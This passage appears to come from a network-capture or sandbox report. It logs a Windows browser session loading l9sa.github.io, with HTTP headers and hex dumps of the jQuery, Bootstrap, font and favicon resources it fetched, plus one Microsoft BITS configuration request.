2024-08-29 22:19:19 UTC	1369	IN	Data Raw: 72 6e 20 72 21 3d 43 26 26 39 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 3d 21 69 28 43 29 2c 70 21 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e 74 6f 70 21 3d 3d 6e 26 26 28 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 75 6e 6c 6f 61 64 22 2c 6f 65 2c 21 31 29 3a 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 73 63 6f 70 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 65 6e 64 43 68 69 6c Data Ascii: rn r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChil
2024-08-29 22:19:19 UTC	1369	IN	Data Raw: 65 28 22 69 64 22 29 29 26 26 6e 2e 76 61 6c 75 65 3d 3d 3d 65 29 72 65 74 75 72 6e 5b 6f 5d 7d 72 65 74 75 72 6e 5b 5d 7d 7d 29 2c 62 2e 66 69 6e 64 2e 54 41 47 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3a 64 2e 71 73 61 3f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d Data Ascii: e("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagNam
2024-08-29 22:19:19 UTC	1369	IN	Data Raw: 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4d 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 64 69 73 61 62 6c 65 64 3d 21 30 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 Data Ascii: type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"[^$\|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll("

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49752	207.211.211.27	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:19 UTC	646	OUT	GET /fonts/line-awesome/1.1/fonts/line-awesome.woff2?v=1.1. HTTP/1.1 Host: maxcdn.icons8.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://l9sa.github.io sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://maxcdn.icons8.com/fonts/line-awesome/1.1/css/line-awesome.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:20 UTC	930	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:19 GMT Content-Type: font/woff2 Content-Length: 45108 Connection: close x-amz-id-2: EnTvAeKJ7WmHajD4Sk5zLnrKcTiarrCx1KGrcSSoKF2qb0Sr+vGFu5hNeotIXv9BDpa9E0i7R3U= x-amz-request-id: DFRK61A31YSVH9N3 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Expose-Headers: Content-Range, Content-Length, ETag Access-Control-Max-Age: 3000 Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method Last-Modified: Mon, 06 Jun 2022 09:58:53 GMT ETag: "452a5b42cb4819f09d35bcf6cbdb24c1" x-amz-meta-mtime: 1654507811.164297687 X-77-NZT: EgwBz9PTGQH3mwsHAAwBJRPCLgH33k4OAA X-77-NZT-Ray: 43862e249ac88d0fe7f3d0665d6a2733 X-Accel-Expires: @1725545014 X-Accel-Date: 1724508236 X-77-Cache: HIT X-77-Age: 461723 Server: CDN77-Turbo X-Accel-Date-Max: 1722335505 X-Cache: HIT X-Age: 461723 X-77-POP: frankfurtDE Accept-Ranges: bytes
2024-08-29 22:19:20 UTC	15454	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 b0 34 00 0d 00 00 00 01 b8 58 00 00 af d8 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 06 60 00 82 4a 08 04 11 08 0a 86 95 3c 84 ea 79 0b 8a 26 00 01 36 02 24 03 8a 2e 04 20 05 83 5d 07 bc 37 5b 06 5d 71 e8 00 b9 6e 07 82 7f fe 7b 59 46 11 e8 0e 98 e3 15 4c a7 2a c6 36 2c 7a 70 1e 40 50 ba f5 ac ec ff ff b4 a4 22 63 36 d9 9e 04 86 00 f3 5c f5 25 94 ca 36 51 92 80 2a 49 64 88 0c b2 97 2c 59 21 23 b5 3d f6 71 3c 8e b3 0c 1e 5c fd dc 47 8d 17 1d 5d 2e a6 ee 82 f9 c4 a5 a2 fa 85 25 20 22 10 13 88 44 56 97 ad 61 12 d5 65 33 db cc 36 b3 a8 44 7c a7 42 52 7f 70 e1 f3 85 ef fb ee f1 e6 6b fb d6 b4 7e c0 1f cf 7d dd 6b 74 18 54 e2 6a ff be ea c6 63 9e a7 6a 42 4c 37 ee 7e ea f0 fd a7 12 d5 Data Ascii: wOF24X?FFTM`J<y&6$. ]7[]qn{YFL6,zp@P"c6\%6QId,Y!#=q<\G].% "DVae36D\|BRpk~}ktTjcjBL7~
2024-08-29 22:19:20 UTC	16384	IN	Data Raw: 80 26 06 19 2f 47 81 0b 79 1a d7 75 34 c1 45 7b b5 08 b7 56 a8 44 d9 42 a7 52 d8 79 84 ac 1f d1 e4 21 d3 b8 24 69 17 51 a9 2d 8b 3b cd cd 59 12 7c d1 5d 98 37 70 55 41 9e ba bc 67 50 e8 83 dd 69 c2 ea 20 ee 92 8b f4 cb d5 40 63 34 c1 a2 d3 1d d6 6e b8 17 ab 48 84 70 ac 4d 7f dc fd b3 8d 72 d1 10 d6 a5 87 3f 31 f6 0d ef 48 67 87 39 ee 1e b5 b6 c6 74 e5 64 67 bf 49 8e 21 55 26 94 8e 0d f2 4a 19 18 8f 2a f6 ea d5 13 3a d3 cc 34 03 b7 c2 a8 d8 0b 50 de e4 95 7d 3d db 23 5b 2a dd 6f a0 c8 ef cb 7f 23 ee 73 a8 62 0b 80 a8 88 6b 88 8e 03 ad bf 74 85 cd 53 1f c1 78 14 6d 35 5d 43 bb 13 09 a0 b8 b9 59 2f d9 97 16 dd e5 4b e1 23 5b e2 d1 c4 92 b5 54 62 ab e7 7c bb ee 13 65 54 3f b3 17 8f 2c 8a d6 86 9d 1d bd 1a 6a 84 52 f6 b5 b8 88 a8 45 a3 81 de e3 32 5c d9 74 5c Data Ascii: &/Gyu4E{VDBRy!$iQ-;Y\|]7pUAgPi @c4nHpMr?1Hg9tdgI!U&J:4P}=#[o#sbktSxm5]CY/K#[Tb\|eT?,jRE2\t\
2024-08-29 22:19:20 UTC	13270	IN	Data Raw: 13 47 50 76 90 08 02 5f 77 12 b2 e9 ac 16 d2 de 23 80 00 7a ce a8 35 cf f2 9e 34 d7 39 aa ba 2b 59 19 76 f8 ff 82 73 d4 7b d8 4b 99 2d f6 3a 94 44 ea b5 cc 49 46 38 d3 e8 a5 e2 ae 4e 36 08 af 9b d5 62 20 60 76 22 20 51 8d 19 b5 a6 78 2e 0f 91 3a 97 e6 71 b3 82 f8 ef 63 7a 94 ed d3 60 08 21 e7 e3 62 fa b0 88 64 8e 0b 46 d7 8b 3a c9 7a 7a ba 41 c3 02 ab c7 ac a0 19 51 5f 9c 03 39 9c e6 44 18 c6 88 69 8a a1 09 a3 bf dd 19 43 34 e8 5b 64 fa 2a 88 59 e2 31 fb fb 5a 29 cd 11 ed 1e f0 4e 24 11 0e ef 20 10 1a 90 c8 28 c3 86 00 82 4c 04 32 af b8 e2 92 bc 8d f8 8f a3 ee 81 ac 98 04 10 8b 9b 80 28 88 f3 ee f8 92 c9 84 98 a3 7c 8e 8a a8 58 2a cc 16 f9 b0 45 6f 33 d6 ff 1d 93 7c 6f 07 e5 a8 dd 7a 86 5c 8a d4 3f 10 03 72 53 a8 ca 89 b2 e3 64 07 c9 bb 1f dd 3f f2 af 5e Data Ascii: GPv_w#z549+Yvs{K-:DIF8N6b `v" Qx.:qcz`!bdF:zzAQ_9DiC4[dY1Z)N$ (L2(\|XEo3\|oz\?rSd?^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49754	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:20 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-29 22:19:21 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=127052 Date: Thu, 29 Aug 2024 22:19:21 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49756	185.199.108.153	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:21 UTC	597	OUT	GET /assets/img/favicon32.svg HTTP/1.1 Host: l9sa.github.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l9sa.github.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:21 UTC	741	IN	HTTP/1.1 200 OK Connection: close Content-Length: 969 Server: GitHub.com Content-Type: image/svg+xml permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Tue, 07 Nov 2023 13:01:40 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "654a3534-3c9" expires: Thu, 29 Aug 2024 22:29:21 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F2E4:16C9:2074A7F:249DB03:66D0F3E9 Accept-Ranges: bytes Age: 0 Date: Thu, 29 Aug 2024 22:19:21 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740055-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1724969961.154241,VS0,VE16 Vary: Accept-Encoding X-Fastly-Request-ID: cd18d8ea02105d7f479b4d73f7c50a9c4668619f
2024-08-29 22:19:21 UTC	969	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 77 69 64 74 68 3d 22 33 32 70 74 22 20 68 65 69 67 68 74 3d 22 33 32 70 74 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 32 20 33 32 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 3c 64 65 66 73 3e 0a 3c 69 6d 61 67 65 20 69 64 3d 22 69 6d 61 67 65 35 22 20 77 69 64 74 68 3d 22 31 32 38 22 20 68 65 69 67 68 74 3d 22 31 32 38 22 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="32pt" height="32pt" viewBox="0 0 32 32" version="1.1"><defs><image id="image5" width="128" height="128" xlink:href="data:ima

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49757	104.17.24.14	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:21 UTC	404	OUT	GET /ajax/libs/twitter-bootstrap/4.5.0/js/bootstrap.bundle.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:21 UTC	958	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:21 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5ebae359-13cbc" Last-Modified: Tue, 12 May 2020 17:56:41 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 3 Expires: Tue, 19 Aug 2025 22:19:21 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fPGMg4kfUAnljQlrJKG3M1PIcIud1d%2FtlgBZid%2Fgy8CfQAxDuqxSwNOnLisP52z0W%2FdWJe7wkHfTpwaWr4FqTFr6lnCJQDqCXSD%2FfpGw7ap5JhH95qPUV%2FGZToHo8fP4R9V2hmE0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8bafec114edf42d3-EWR alt-svc: h3=":443"; ma=86400
2024-08-29 22:19:21 UTC	411	IN	Data Raw: 37 62 66 32 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 35 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bf2/! Bootstrap v4.5.0 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-08-29 22:19:21 UTC	1369	IN	Data Raw: 65 28 28 74 3d 74 7c 7c 73 65 6c 66 29 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 29 7d 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 2c 69 29 7b Data Ascii: e((t=t\|\|self).bootstrap={},t.jQuery)}(this,(function(t,e){"use strict";function n(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function i(t,e,i){
2024-08-29 22:19:21 UTC	1369	IN	Data Raw: 7b 76 61 72 20 65 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 74 61 72 67 65 74 22 29 3b 69 66 28 21 65 7c 7c 22 23 22 3d 3d 3d 65 29 7b 76 61 72 20 6e 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 22 29 3b 65 3d 6e 26 26 22 23 22 21 3d 3d 6e 3f 6e 2e 74 72 69 6d 28 29 3a 22 22 7d 74 72 79 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 65 29 3f 65 3a 6e 75 6c 6c 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 2c 67 65 74 54 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 46 72 6f 6d 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 74 29 72 65 74 75 72 6e 20 30 3b 76 61 72 20 6e 3d 65 28 74 29 2e 63 73 73 28 22 74 72 61 6e 73 Data Ascii: {var e=t.getAttribute("data-target");if(!e\|\|"#"===e){var n=t.getAttribute("href");e=n&&"#"!==n?n.trim():""}try{return document.querySelector(e)?e:null}catch(t){return null}},getTransitionDurationFromElement:function(t){if(!t)return 0;var n=e(t).css("trans
2024-08-29 22:19:21 UTC	1369	IN	Data Raw: 69 70 74 20 72 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 2e 20 6a 51 75 65 72 79 20 6d 75 73 74 20 62 65 20 69 6e 63 6c 75 64 65 64 20 62 65 66 6f 72 65 20 42 6f 6f 74 73 74 72 61 70 27 73 20 4a 61 76 61 53 63 72 69 70 74 2e 22 29 3b 76 61 72 20 74 3d 65 2e 66 6e 2e 6a 71 75 65 72 79 2e 73 70 6c 69 74 28 22 20 22 29 5b 30 5d 2e 73 70 6c 69 74 28 22 2e 22 29 3b 69 66 28 74 5b 30 5d 3c 32 26 26 74 5b 31 5d 3c 39 7c 7c 31 3d 3d 3d 74 5b 30 5d 26 26 39 3d 3d 3d 74 5b 31 5d 26 26 74 5b 32 5d 3c 31 7c 7c 74 5b 30 5d 3e 3d 34 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 42 6f 6f 74 73 74 72 61 70 27 73 20 4a 61 76 61 53 63 72 69 70 74 20 72 65 71 75 69 72 65 73 20 61 74 20 6c 65 61 73 74 20 6a 51 75 65 72 79 20 76 31 2e 39 2e 31 20 62 75 74 20 6c 65 73 Data Ascii: ipt requires jQuery. jQuery must be included before Bootstrap's JavaScript.");var t=e.fn.jquery.split(" ")[0].split(".");if(t[0]<2&&t[1]<9\|\|1===t[0]&&9===t[1]&&t[2]<1\|\|t[0]>=4)throw new Error("Bootstrap's JavaScript requires at least jQuery v1.9.1 but les
2024-08-29 22:19:21 UTC	1369	IN	Data Raw: 22 63 6c 6f 73 65 64 2e 62 73 2e 61 6c 65 72 74 22 29 2e 72 65 6d 6f 76 65 28 29 7d 2c 74 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 69 3d 65 28 74 68 69 73 29 2c 6f 3d 69 2e 64 61 74 61 28 22 62 73 2e 61 6c 65 72 74 22 29 3b 6f 7c 7c 28 6f 3d 6e 65 77 20 74 28 74 68 69 73 29 2c 69 2e 64 61 74 61 28 22 62 73 2e 61 6c 65 72 74 22 2c 6f 29 29 2c 22 63 6c 6f 73 65 22 3d 3d 3d 6e 26 26 6f 5b 6e 5d 28 74 68 69 73 29 7d 29 29 7d 2c 74 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 2e 70 72 65 76 65 6e 74 44 65 66 Data Ascii: "closed.bs.alert").remove()},t._jQueryInterface=function(n){return this.each((function(){var i=e(this),o=i.data("bs.alert");o\|\|(o=new t(this),i.data("bs.alert",o)),"close"===n&&o[n](this)}))},t._handleDismiss=function(t){return function(e){e&&e.preventDef
2024-08-29 22:19:21 UTC	1369	IN	Data Raw: 22 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 7d 2c 74 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 69 3d 65 28 74 68 69 73 29 2e 64 61 74 61 28 22 62 73 2e 62 75 74 74 6f 6e 22 29 3b 69 7c 7c 28 69 3d 6e 65 77 20 74 28 74 68 69 73 29 2c 65 28 74 68 69 73 29 2e 64 61 74 61 28 22 62 73 2e 62 75 74 74 6f 6e 22 2c 69 29 29 2c 22 74 6f 67 67 6c 65 22 3d 3d 3d 6e 26 26 69 5b 6e 5d 28 29 7d 29 29 7d 2c 69 28 74 2c 6e 75 6c 6c 2c 5b 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 34 2e 35 2e 30 22 7d 7d 5d 29 2c 74 7d 28 29 3b 65 28 64 6f 63 Data Ascii: "),this._element=null},t._jQueryInterface=function(n){return this.each((function(){var i=e(this).data("bs.button");i\|\|(i=new t(this),e(this).data("bs.button",i)),"toggle"===n&&i[n]()}))},i(t,null,[{key:"VERSION",get:function(){return"4.5.0"}}]),t}();e(doc
2024-08-29 22:19:21 UTC	1369	IN	Data Raw: 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 70 72 65 73 73 65 64 22 29 3f 61 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 63 74 69 76 65 22 29 3a 61 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 61 63 74 69 76 65 22 29 7d 7d 29 29 2c 65 2e 66 6e 2e 62 75 74 74 6f 6e 3d 64 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 65 2e 66 6e 2e 62 75 74 74 6f 6e 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 64 2c 65 2e 66 6e 2e 62 75 74 74 6f 6e 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 66 6e 2e 62 75 74 74 6f 6e 3d 66 2c 64 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 3b 76 61 72 20 70 3d 22 63 61 72 6f 75 73 65 6c 22 2c 6d 3d 22 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c Data Ascii: .getAttribute("aria-pressed")?a.classList.add("active"):a.classList.remove("active")}})),e.fn.button=d._jQueryInterface,e.fn.button.Constructor=d,e.fn.button.noConflict=function(){return e.fn.button=f,d._jQueryInterface};var p="carousel",m=".bs.carousel",
2024-08-29 22:19:21 UTC	1369	IN	Data Raw: 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 29 26 26 28 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2c 74 68 69 73 2e 63 79 63 6c 65 28 21 30 29 29 2c 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 7d 2c 6e 2e 63 79 63 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 7c 7c 28 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 31 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 26 26 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 Data Ascii: ousel-item-prev")&&(l.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},n.cycle=function(t){t\|\|(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config.interv
